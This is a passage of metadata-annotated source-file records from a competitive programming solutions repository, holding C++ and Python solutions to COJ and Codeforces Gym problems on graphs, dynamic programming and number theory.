"alphanum_fraction": 0.402555912733078, "avg_line_length": 16.969696044921875, "blob_id": "8b321c66c398a46344613d60be772ae2c5a11feb", "content_id": "27bebf50385be4f8ccd0e1627d4fa033f085937a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 626, "license_type": "no_license", "max_line_length": 47, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p3746-Accepted-s1042039.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tLL n, a, b, c;\r\n\tcin >> n >> a >> b >> c;\r\n\tint r = n % 4LL;\r\n\tif (r == 0) {\r\n\t\tcout << \"0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tLL x = 4 - r;\r\n\tLL ans = -1;\r\n\tfor (int ca = 0; ca <= 50; ca++) {\r\n\t\tfor (int cb = 0; cb <= 50; cb++) {\r\n\t\t\tfor (int cc = 0; cc <= 50; cc++) {\r\n\t\t\t\tLL ct = n + 1LL * ca + 2LL * cb + 3LL * cc;\r\n\t\t\t\tif (ct % 4LL == 0) {\r\n\t\t\t\t\tLL cost = a * ca + b * cb + c * cc;\r\n\t\t\t\t\tif (ans == -1LL || cost < ans) {\r\n\t\t\t\t\t\tans = cost;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.33174604177474976, "alphanum_fraction": 0.35476189851760864, "avg_line_length": 17.384614944458008, "blob_id": "b893c617a8e83fe04951c6f50e6ba8a35012520a", "content_id": "d9f892809c51eb47a513760199f9231cfea0ddba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1260, "license_type": "no_license", "max_line_length": 58, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p3488-Accepted-s909029.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, p, m;\r\nint a[20];\r\nint dp[1 << 17];\r\nint o[1 << 17];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> p;\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tdp[i] = p + 1;\r\n\t\to[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\to[1 << i] = a[i];\r\n\t}\r\n\tcin >> m;\r\n\tint pr, c, x;\r\n\twhile (m--) {\r\n\t\tcin >> pr;\r\n\t\tcin >> c;\r\n\t\tint mask = 0;\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\tx--;\r\n\t\t\tmask |= (1 << x);\r\n\t\t}\r\n\t\tif (o[mask] == -1 || pr < o[mask]) {\r\n\t\t\to[mask] = pr;\r\n\t\t}\r\n\t}\r\n\tint y = 0;\r\n\tint z = 0;\r\n\tfor (int mask = 1; mask < (1 << n); mask++) {\r\n\t\tint smask = mask;\r\n\t\twhile (smask > 0) {\r\n\t\t\tif (o[smask] != -1) {\r\n\t\t\t\tdp[mask] = min(dp[mask], dp[mask ^ smask] + o[smask]);\r\n\t\t\t}\r\n\t\t\tsmask = (smask - 1) & mask;\r\n\t\t}\r\n\t\tif (dp[mask] > p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint cnt = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (mask & (1 << i)) {\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t}\r\n\t\t//cout << mask << \" \" << cnt << \" \" << dp[mask] << \"\\n\";\r\n\t\tif (cnt > y || (cnt == y && dp[mask] < z)) {\r\n //cout << \"in \" << y << \" \" << z << \"\\n\";\r\n\t\t\ty = cnt;\r\n\t\t\tz = dp[mask];\r\n //cout << \"out \" << y << \" \" << z << \"\\n\";\r\n\t\t}\r\n\t}\r\n\tcout << y << \" \" << z << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4267015755176544, "alphanum_fraction": 0.452006995677948, "avg_line_length": 16.483871459960938, "blob_id": "63555d5a0bcb8aecd57e07473556e43b00d8827e", "content_id": "762030eefd7f2989ab9453004f15f569cad172d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1146, "license_type": "no_license", "max_line_length": 130, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p3325-Accepted-s838040.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL calc(LL n, bool par) {\r\n\tLL res = 0;\r\n\tfor (int i = 31; i > 0; i--) {\r\n\t\tif (n & (1LL << i)) {\r\n\t\t\treturn (1LL << (i - 1)) + calc(n - (1LL << i), !par);\r\n\t\t}\r\n\t}\r\n\tif (n == 1) {\r\n\t\treturn 1;\r\n\t}\r\n\treturn par;\r\n}\r\n\r\nLL find(LL n) {\r\n\tLL lo = 0;\r\n\tLL hi = 1LL << 31LL;\r\n\tLL res = hi;\r\n\twhile (lo <= hi) {\r\n\t\tLL mid = (lo + hi) >> 1LL;\r\n\t\tif (calc(mid, true) >= n) {\r\n\t\t\tres = mid;\r\n\t\t\thi = mid - 1;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmap<pair<LL, bool>, LL> M;\r\nmap<pair<LL, bool>, LL>::iterator it;\r\n\r\nLL sum(LL n, bool par) {\r\n\tit = M.find(make_pair(n, par));\r\n\tif (it != M.end()) {\r\n\t\treturn it->second;\r\n\t}\r\n\tfor (int i = 31; i >= 0; i--) {\r\n\t\tif (n & (1LL << i)) {\r\n\t\t\tLL ans = M[make_pair(n, par)] = (1LL << i) * calc(n - (1LL << i), !par) + sum(n - (1LL << i), !par) + sum((1LL << i) - 1, par);\r\n\t\t\treturn ans;\r\n\t\t}\r\n\t}\r\n\tM[make_pair(n, par)] = 0;\r\n\treturn 0;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint n;\r\n\twhile (cin >> n) {\r\n\t\tcout << sum(find(n), true) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3596425950527191, "alphanum_fraction": 0.3834698498249054, "avg_line_length": 19.66153907775879, "blob_id": "76f863dceddc25e0ce1d934463e7b4fb0c5dcf1a", "content_id": "a14829210d6374171afbc621f4c89eda063e0aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1343, "license_type": "no_license", "max_line_length": 90, "num_lines": 65, "path": "/Codeforces-Gym/101630 - 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)\n// 101630C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\nvector<int> g[MAXN], rg[MAXN];\nint s[MAXN], t[MAXN];\nbool mk[MAXN];\nbool ok[MAXN];\n\ninline int ady( int e, int u ){\n return s[e] == u ? t[e] : s[e];\n}\n\nvoid dfs( int u, vector<int> *g ){\n mk[u] = true;\n for( auto e : g[u] ){\n int v = ady( e , u );\n if( !mk[v] ){\n ok[e] = true;\n dfs( v , g );\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n int n, m; cin >> n >> m;\n for( int i = 0; i <= max( n , m ); i++ ){\n g[i].clear();\n rg[i].clear();\n mk[i] = ok[i] = false;\n }\n\n for( int i = 0; i < m; i++ ){\n int u, v; cin >> u >> v;\n g[u].push_back(i);\n rg[v].push_back(i);\n s[i] = u;\n t[i] = v;\n }\n\n dfs( 1 , g );\n fill( mk , mk + n + 1 , false );\n dfs( 1 , rg );\n\n int cnt = 0;\n for( int i = 0; i < m && cnt < m - 2*n; i++ ){\n if( !ok[i] ){\n cnt++;\n cout << s[i] << ' ' << t[i] << '\\n';\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.3353617191314697, "alphanum_fraction": 0.36578768491744995, "avg_line_length": 16.721519470214844, "blob_id": "536270a7971b3f0b9e0399911a1f199fc93328ec", "content_id": "8200d6a955e7bac66288c2214831f9f83c512353", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1479, "license_type": "no_license", "max_line_length": 47, "num_lines": 79, "path": "/COJ/eliogovea-cojAC/eliogovea-p3651-Accepted-s951978.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nint t;\r\nint n, m, a, b;\r\nint g[105][105];\r\nint mx[105];\r\nbool center[105];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> m >> a >> b;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tg[i][j] = INF;\r\n\t\t\t}\r\n\t\t\tg[i][i] = 0;\r\n\t\t}\r\n\t\twhile (m--) {\r\n\t\t\tint x, y, z;\r\n\t\t\tcin >> x >> y >> z;\r\n\t\t\tif (g[x][y] > z) {\r\n\t\t\t\tg[x][y] = g[y][x] = z;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\t\tg[i][j] = min(g[i][j], g[i][k] + g[k][j]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint dist = -1;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tint mxx = 0;\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tmxx = max(mxx, g[i][j]);\r\n\t\t\t}\r\n\t\t\tmx[i] = mxx;\r\n\t\t\tif (dist == -1 || mxx < dist) {\r\n\t\t\t\tdist = mxx;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcenter[i] = false;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (mx[i] == dist) {\r\n\t\t\t\tcenter[i] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tint dist1 = -1;\r\n\t\tint dist2 = -1;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (center[i]) {\r\n\t\t\t\tif (dist1 == -1 || g[a][i] < dist1) {\r\n\t\t\t\t\tdist1 = g[a][i];\r\n\t\t\t\t}\r\n\t\t\t\tif (dist2 == -1 || g[b][i] < dist2) {\r\n\t\t\t\t\tdist2 = g[b][i];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (dist1 < dist2) {\r\n\t\t\tcout << \"Kimo is \";\r\n\t\t} else if (dist1 == dist2) {\r\n\t\t\tcout << \"Both are \";\r\n\t\t} else {\r\n\t\t\tcout << \"Jose is \";\r\n\t\t}\r\n\t\tcout << \"right\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2939649522304535, "alphanum_fraction": 0.31343284249305725, "avg_line_length": 17.129411697387695, "blob_id": "068964085b811a9d57178f0b782ac589a6c20052", "content_id": "9096069aac12d395016ca8c54ed379bcbc851c2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1541, "license_type": "no_license", "max_line_length": 62, "num_lines": 85, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nchar inv( char x ){\n if( 'a' <= x && x <= 'z' ){\n x = (char)( 'A' + (x-'a') );\n }\n else{\n x = (char)( 'a' + (x-'A') );\n }\n\n return x;\n}\n\nint id[MAXN];\nint sol[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int n; cin >> n; n*=2;\n string s; cin >> s;\n s += s;\n\n int A = 1, a = 1;\n for( int i = 0; i < 2*n; i++ ){\n if( i >= n ){\n id[i] = id[i-n];\n }\n else{\n if( 'a' <= s[i] && s[i] <= 'z' ){\n id[i] = a++;\n }\n else{\n id[i] = A++;\n }\n }\n }\n\n bool ok = false;\n\n for( int i = 0; i < n; i++ ){\n stack<int> st;\n for( int j = i; j < i + n; j++ ){\n if( !st.empty() && s[ st.top() ] == inv( s[j] ) ){\n int x = st.top();\n int y = j;\n\n if( 'a' <= s[x] && s[x] <= 'z' ){\n swap( x , y );\n }\n\n sol[ id[x] ] = id[y];\n\n st.pop();\n }\n else{\n st.push( j );\n }\n }\n\n if( st.empty() ){\n ok = true;\n break;\n }\n }\n\n if( !ok ){\n cout << \"Impossible\";\n return 0;\n }\n\n for( int i = 1; i <= n/2; i++ ){\n cout << sol[i] << \" \\n\"[i==n];\n }\n}\n" }, { "alpha_fraction": 0.2844036817550659, "alphanum_fraction": 0.34403669834136963, "avg_line_length": 19.799999237060547, "blob_id": "b70d2ebcc576b9bab3fbf42566c6f6950ee7ea3e", "content_id": "7baf79697acfe40565bfddf8fe816c832c3fdaf0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "no_license", "max_line_length": 45, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p3720-Accepted-s1009559.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "def main():\r\n fact = [0] * 301\r\n fact[0] = 1\r\n for i in range(1, 301):\r\n fact[i] = fact[i - 1] * i\r\n f = [0] * 301;\r\n f[0] = 1\r\n f[1] = 1\r\n for i in range(2, 301):\r\n for l in range(0, i):\r\n f[i] = f[i] + f[l] * f[i - 1 - l]\r\n while True:\r\n n = int(input())\r\n if n == 0:\r\n break\r\n print(f[n] * fact[n])\r\n \r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.25905293226242065, "alphanum_fraction": 0.2692664861679077, "avg_line_length": 24.046510696411133, "blob_id": "980f7efa0417edc22bd8f4297c42d83b9dce92dc", "content_id": "7fe34f06617407273653ec710298dd8a08edd475", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2154, "license_type": "no_license", "max_line_length": 115, "num_lines": 86, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/G1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000 + 10;\n\nint n, m;\nint a[N];\nvector <int> v[1000];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> m;\n\n int sqrtn = 1 + sqrt(n);\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n v[i / sqrtn].push_back(a[i]);\n }\n\n for (int i = 0; i <= (n - 1) / sqrtn; i++) {\n sort(v[i].begin(), v[i].end());\n }\n\n string op;\n int x, y, z, t;\n while (m--) {\n cin >> op;\n if (op[0] == 'S') {\n cin >> x >> y;\n x--;\n if (y == a[x]) {\n continue;\n }\n int p = x / sqrtn;\n v[p].erase(lower_bound(v[p].begin(), v[p].end(), a[x]));\n v[p].insert(upper_bound(v[p].begin(), v[p].end(), y), y);\n a[x] = y;\n } else {\n cin >> x >> y >> z >> t;\n if (x > y) {\n swap(x, y);\n }\n if (z > t) {\n swap(z, t);\n }\n x--;\n y--;\n int px = x / sqrtn;\n int py = y / sqrtn;\n int ans = 0;\n if (px == py) {\n for (int i = x; i <= y; i++){\n if (z <= a[i] && a[i] <= t) {\n ans++;\n }\n }\n } else {\n while (x % sqrtn != 0) {\n if (z <= a[x] && a[x] <= t) {\n ans++;\n }\n x++;\n }\n while (y % sqrtn != sqrtn - 1) {\n if (z <= a[y] && a[y] <= t) {\n ans++;\n }\n y--;\n }\n px = x / sqrtn;\n py = y / sqrtn;\n if (px <= py) {\n for (int i = px; i <= py; i++) {\n ans += upper_bound(v[i].begin(), v[i].end(), t) - lower_bound(v[i].begin(), v[i].end(), z);\n }\n }\n }\n cout << ans << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.34572669863700867, "alphanum_fraction": 0.3809753656387329, "avg_line_length": 26.25, "blob_id": "e1347dbc4150698af87aaa3bf91e4cc4a6b3b36c", "content_id": "3a3da8515a5094a21d486e73c5cc509d11b59ce1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2071, "license_type": "no_license", "max_line_length": 125, "num_lines": 76, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n int n, m;\n cin >> n >> m;\n\n vector <int> v(n);\n\n for (int i = 0; i < n; i++) {\n cin >> v[i];\n }\n\n vector <int> c;\n int x = m;\n while (x > 0) {\n c.push_back(x);\n x = 2 * x / 3;\n }\n c.push_back(0);\n\n const int INF = 1e7;\n\n int f[n + 1][c.size() + 1][2];\n for (int i = 0; i <= n; i++) {\n for (int j = 0; j <= c.size(); j++) {\n for (int k = 0; k < 2; k++) {\n f[i][j][k] = -INF;\n }\n }\n }\n\n f[0][0][true] = 0;\n\n for (int step = 0; step < n; step++) {\n for (int can = 0; can < c.size(); can++) {\n // pre = true\n if (f[step][can][true] != -INF) {\n if (c[can] != 0) {\n f[step + 1][can + 1][true] = max(f[step + 1][can + 1][true], f[step][can][true] + min(v[step], c[can]));\n f[step + 1][max(can - 1, 0)][false] = max(f[step + 1][max(can - 1, 0)][false], f[step][can][true]);\n } else {\n f[step + 1][max(can - 1, 0)][false] = max(f[step + 1][max(can - 1, 0)][false], f[step][can][true]);\n }\n }\n\n // pre = false;\n if (f[step][can][false] != -INF) {\n if (c[can] != 0) {\n f[step + 1][can + 1][true] = max(f[step + 1][can + 1][true], f[step][can][false] + min(v[step], c[can]));\n f[step + 1][0][false] = max(f[step + 1][0][false], f[step][can][false]);\n } else {\n f[step + 1][0][false] = max(f[step + 1][0][false], f[step][can][false]);\n }\n }\n }\n }\n\n int answer = 0;\n for (int i = 0; i < c.size(); i++) {\n for (int j = 0; j < 2; j++) {\n answer = max(answer, f[n][i][j]);\n }\n }\n\n cout << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3055555522441864, "alphanum_fraction": 0.3541666567325592, "avg_line_length": 22.44186019897461, "blob_id": "ac79bcdbfceb0b94cb66b2dc22ef6ba85701c82c", "content_id": "dbf91e4c86f7961fbfb664ad28234e76df04513b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1008, "license_type": "no_license", "max_line_length": 134, "num_lines": 43, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/X.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095X\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int m;\n cin >> m;\n int id;\n int mn = -1;\n int a = 0, b, c;\n int bp = 0;\n int sp = 0;\n for (int i = 0; i < 12; i++) {\n int v;\n cin >> v;\n if (mn != -1 && mn < v && (m / mn) > 0) {\n if ((a < (m / mn) * v + (m % mn) - m) || ((a == (m / mn) * v + (m % mn) - m) && mn < bp)) {\n a = (m / mn) * v + (m % mn) - m;\n b = id;\n bp = mn;\n c = i;\n sp = v;\n }\n }\n if (mn == -1 || v < mn) {\n id = i;\n mn = v;\n }\n }\n if (a == 0) {\n cout << \"IMPOSSIBLE\\n\";\n } else {\n cout << b + 1 << \" \" << c + 1 << \" \" << a << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4015936255455017, "alphanum_fraction": 0.41434264183044434, "avg_line_length": 15.191781044006348, "blob_id": "cd6f78962ba405fece4f8e147a8806111372ec4d", "content_id": "ceaba8789dc915db46afdcb9257a67039b2a1369", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1255, "license_type": "no_license", "max_line_length": 42, "num_lines": 73, "path": "/COJ/eliogovea-cojAC/eliogovea-p3637-Accepted-s1009536.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 505;\r\n\r\nint n;\r\nint val[N];\r\nvector <int> g[N];\r\nint parent[N];\r\nint depth[N];\r\nint q, x, y, z;\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tparent[u] = p;\r\n\tdepth[u] = d;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v != p) {\r\n\t\t\tdfs(v, u, d + 1);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint solve(int u, int v) {\r\n\tint res = val[v];\r\n\tif (depth[v] > depth[u]) {\r\n\t\tswap(u, v);\r\n\t}\r\n\twhile (depth[u] > depth[v]) {\r\n\t\tres = __gcd(res, val[u]);\r\n\t\tu = parent[u];\r\n\t}\r\n\twhile (u != v) {\r\n\t\tres = __gcd(res, __gcd(val[u], val[v]));\r\n\t\tu = parent[u];\r\n\t\tv = parent[v];\r\n\t}\r\n\tres = __gcd(res, val[u]);\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> val[i];\r\n\t\t\tg[i].clear();\r\n\t\t\tdepth[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n - 1; i++) {\r\n\t\t\tint x, y;\r\n\t\t\tcin >> x >> y;\r\n\t\t\tg[x].push_back(y);\r\n\t\t\tg[y].push_back(x);\r\n\t\t}\r\n\t\tdfs(0, -1, 0);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n assert(depth[i] != -1);\r\n\t\t}\r\n\t\tcin >> q;\r\n\t\twhile (q--) {\r\n\t\t\tcin >> x >> y >> z;\r\n\t\t\tif (x == 1) {\r\n\t\t\t\tcout << solve(y, z) << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tval[y] = z;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4289655089378357, "alphanum_fraction": 0.47310343384742737, "avg_line_length": 20.323530197143555, "blob_id": "c43e5d72a24b7563e1b0073c3b610c04ba67b18d", "content_id": "4f0fa02b19bd76e857ea93b0df0eb72855ee15ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 725, "license_type": "no_license", "max_line_length": 66, "num_lines": 34, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/M.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703M\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<double,int> pdi;\n\nint n;\nint q[1001], c[1001],p[1001];\nint main(){\n ios::sync_with_stdio(false);\n cin.tie(0);\n // freopen(\"data.txt\", \"r\",stdin);\n cin >> n;\n for( int i = 1; i <= n; i++ )\n cin >> q[i];\n for( int i = 1; i <= n; i++ )\n cin >> c[i];\n for( int i = 1; i <= n; i++ )\n cin >> p[i];\n\n int kake = 0;\n for( int i = 1; i <= n; i++ )\n kake = max( kake, q[i]/c[i] + (q[i]%c[i]?1:0) );\n int sol = 0;\n for( int i = 1; i <= n; i++ )\n sol += ( kake*c[i]-q[i] )*p[i];\n\n cout << sol << endl;\n\n}\n" }, { "alpha_fraction": 0.5150462985038757, "alphanum_fraction": 0.5266203880310059, "avg_line_length": 14, "blob_id": "7470f5c4e5c2357527f374a33c65536acc3ef984", "content_id": "91c426f5575ecf65c4fa8e4ff54440fce272c19f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 864, "license_type": "no_license", "max_line_length": 58, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p1690-Accepted-s540710.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\nstruct next\r\n{\r\n\tint nodo,costo;\r\n\tnext(int a, int b){nodo=a; costo=b;}\r\n\tbool operator<(const next &x)const{return costo<x.costo;}\r\n};\r\n\r\nint n,m,x,y,c,sol,mk;\r\nbool mark[MAXN];\r\n\r\nvector<next> G[MAXN];\r\ntypedef vector<next>::iterator vi;\r\n\r\npriority_queue<next> Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&m);\r\n\r\n\tfor(int i=1; i<=m; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\",&x,&y,&c);\r\n\t\tG[x].push_back(next(y,c));\r\n\t\tG[y].push_back(next(x,c));\r\n\t}\r\n\tQ.push(next(1,0));\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint nod=Q.top().nodo,\r\n\t\t\tcost=Q.top().costo;\r\n\t\t\t\r\n Q.pop();\r\n\r\n\t\tif(!mark[nod])\r\n\t\t{\r\n\t\t\tmk+=mark[nod]=1;;\r\n\t\t\tsol+=cost;\r\n\t\t\tfor(vi i=G[nod].begin(); i!=G[nod].end(); i++)\r\n\t\t\t\tif(!mark[i->nodo])\r\n\t\t\t\t\tQ.push(*i);\r\n\t\t}\r\n\t}\r\n\r\n\tprintf(\"%d\\n\",(mk==n)?sol:-1);\r\n\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.42490842938423157, "alphanum_fraction": 0.4542124569416046, "avg_line_length": 17.5, "blob_id": "f6b323205830fac1a2816bfaa110cadb42a70568", "content_id": "6596864545721e739956e77c2cb2583330809013", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 273, "license_type": "no_license", "max_line_length": 47, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2780-Accepted-s608800.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 500;\r\n\r\nint n, sol;\r\nbool sq[MAXN * MAXN + 10];\r\n\r\nint main() {\r\n\tfor (int i = 1; i <= MAXN; i++) sq[i * i] = 1;\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i + n <= MAXN * MAXN; i++)\r\n\t\tsol += (sq[i] & sq[i + n]);\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.4231843650341034, "alphanum_fraction": 0.4427374303340912, "avg_line_length": 17.351350784301758, "blob_id": "9494ca650a943d2f5ea0dd9d9d4aebb74270f2c2", "content_id": "9c9bcd620a840a4bc4bedda1a1ecc3b8e0288fdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 716, "license_type": "no_license", "max_line_length": 91, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p1171-Accepted-s485958.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<iostream>\r\n\r\ntypedef unsigned long long ll;\r\n\r\nint n;\r\nll AA,a,b,c,A,B,C;\r\ndouble vol,At,r;\r\n\r\ndouble areat(ll l1, ll l2, ll l3)\r\n{\r\n double p = (double)(l1+l2+l3)/2;\r\n double a = sqrt(p*(p-l1)*(p-l2)*(p-l3));\r\n return a;\r\n}\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n while(n--)\r\n {\r\n scanf(\"%d%d%d%d%d%d\",&c,&B,&A,&a,&b,&C);\r\n\r\n At=areat(a,b,C)+areat(a,B,c)+areat(A,B,C)+areat(A,b,c);\r\n\r\n a*=a; b*=b; c*=c;\r\n A*=A; 